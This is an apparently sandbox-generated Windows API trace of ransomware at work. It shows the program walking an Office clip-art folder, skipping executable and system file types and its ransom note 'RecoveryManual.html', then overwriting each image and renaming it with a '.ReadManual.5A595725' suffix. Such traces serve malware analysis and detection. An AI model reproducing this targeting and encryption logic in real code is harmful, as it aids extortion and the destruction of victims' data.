[0273.490] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=28038) returned 1 [0273.490] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d86, lpName=0x0) returned 0x184 [0273.490] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.491] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.491] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.492] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.493] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d86) returned 0x2f0000 [0273.493] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.493] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39416182946) returned 1 [0273.493] CloseHandle (hObject=0x184) returned 1 [0273.493] SetSecurityInfo () returned 0x57 [0273.493] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.493] CloseHandle (hObject=0x194) returned 1 [0273.493] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe489ed00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe489ed00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x5e7b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02746G.GIF", cAlternateFileName="")) returned 1 [0273.493] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02746G.GIF" | out: lpString1="PH02746G.GIF") returned="PH02746G.GIF" [0273.493] lstrcmpiW (lpString1="PH02746G.GIF", lpString2="RecoveryManual.html") returned -1 [0273.493] StrStrIW (lpFirst="PH02746G.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.493] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0273.493] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0273.493] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0273.493] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0273.494] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0273.494] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0273.494] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0273.494] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0273.494] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0273.494] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0273.494] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0273.494] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0273.494] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0273.494] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0273.494] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF" [0273.494] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF.ReadManual.5A595725" [0273.494] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF.ReadManual.5A595725") returned 87 [0273.494] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39416266018) returned 1 [0273.494] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif")) returned 0x20 [0273.494] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.494] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=24187) returned 1 [0273.495] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5e7b, lpName=0x0) returned 0x184 [0273.495] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.495] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.495] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.497] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.497] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5e7b) returned 0x2f0000 [0273.498] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.498] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39416648932) returned 1 [0273.498] CloseHandle (hObject=0x184) returned 1 [0273.498] SetSecurityInfo () returned 0x57 [0273.498] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.498] CloseHandle (hObject=0x194) returned 1 [0273.498] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65001c00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65001c00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7d84, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02746U.BMP", cAlternateFileName="")) returned 1 [0273.498] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02746U.BMP" | out: lpString1="PH02746U.BMP") returned="PH02746U.BMP" [0273.498] lstrcmpiW (lpString1="PH02746U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.498] StrStrIW (lpFirst="PH02746U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.498] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.498] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.498] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.498] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.498] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.498] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.498] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.498] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.498] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.498] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.498] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.498] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.498] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.498] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.498] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP" [0273.498] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP.ReadManual.5A595725" [0273.498] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP.ReadManual.5A595725") returned 87 [0273.498] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39416728060) returned 1 [0273.499] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp")) returned 0x20 [0273.499] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.500] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=32132) returned 1 [0273.500] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7d84, lpName=0x0) returned 0x184 [0273.500] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.510] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.510] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.512] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.512] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7d84) returned 0x2f0000 [0273.512] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.512] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39418107126) returned 1 [0273.512] CloseHandle (hObject=0x184) returned 1 [0273.512] SetSecurityInfo () returned 0x57 [0273.513] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.513] CloseHandle (hObject=0x194) returned 1 [0273.513] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd62df00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd62df00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x6090, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02748G.GIF", cAlternateFileName="")) returned 1 [0273.513] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02748G.GIF" | out: lpString1="PH02748G.GIF") returned="PH02748G.GIF" [0273.513] lstrcmpiW (lpString1="PH02748G.GIF", lpString2="RecoveryManual.html") returned -1 [0273.513] StrStrIW (lpFirst="PH02748G.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.513] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0273.513] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0273.513] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0273.513] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0273.513] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0273.513] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0273.513] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0273.513] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0273.513] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0273.513] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0273.513] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0273.513] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0273.513] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0273.513] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0273.513] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF" [0273.513] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF.ReadManual.5A595725" [0273.513] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF.ReadManual.5A595725") returned 87 [0273.513] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39418199161) returned 1 [0273.513] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif")) returned 0x20 [0273.513] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.514] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=24720) returned 1 [0273.514] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6090, lpName=0x0) returned 0x184 [0273.514] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.515] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.515] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.516] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.516] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6090) returned 0x2f0000 [0273.517] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.517] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39418574318) returned 1 [0273.517] CloseHandle (hObject=0x184) returned 1 [0273.517] SetSecurityInfo () returned 0x57 [0273.517] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.517] CloseHandle (hObject=0x194) returned 1 [0273.517] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ca7e100, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ca7e100, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7e90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02748U.BMP", cAlternateFileName="")) returned 1 [0273.517] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02748U.BMP" | out: lpString1="PH02748U.BMP") returned="PH02748U.BMP" [0273.517] lstrcmpiW (lpString1="PH02748U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.517] StrStrIW (lpFirst="PH02748U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.517] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.517] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.517] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.517] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.517] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.517] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.517] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.517] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.518] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.518] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.518] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.518] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.518] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.518] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.518] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP" [0273.518] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP.ReadManual.5A595725" [0273.518] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP.ReadManual.5A595725") returned 87 [0273.518] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39418657274) returned 1 [0273.518] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp")) returned 0x20 [0273.518] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.518] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=32400) returned 1 [0273.518] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7e90, lpName=0x0) returned 0x184 [0273.518] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.519] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.519] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.521] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.521] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7e90) returned 0x2f0000 [0273.521] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.522] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39419041764) returned 1 [0273.522] CloseHandle (hObject=0x184) returned 1 [0273.522] SetSecurityInfo () returned 0x57 [0273.522] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.522] CloseHandle (hObject=0x194) returned 1 [0273.522] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3d97700, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3d97700, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x8795, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02749G.GIF", cAlternateFileName="")) returned 1 [0273.522] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02749G.GIF" | out: lpString1="PH02749G.GIF") returned="PH02749G.GIF" [0273.522] lstrcmpiW (lpString1="PH02749G.GIF", lpString2="RecoveryManual.html") returned -1 [0273.522] StrStrIW (lpFirst="PH02749G.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.522] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0273.522] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0273.522] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0273.522] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0273.522] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0273.522] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0273.522] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0273.522] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0273.522] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0273.522] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0273.522] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0273.522] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0273.522] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0273.522] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0273.522] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF" [0273.522] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF.ReadManual.5A595725" [0273.523] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF.ReadManual.5A595725") returned 87 [0273.523] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39419132347) returned 1 [0273.523] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif")) returned 0x20 [0273.523] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.523] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=34709) returned 1 [0273.523] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8795, lpName=0x0) returned 0x184 [0273.523] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.524] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.524] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.528] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.528] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8795) returned 0x2f0000 [0273.529] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.530] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39419833921) returned 1 [0273.530] CloseHandle (hObject=0x184) returned 1 [0273.530] 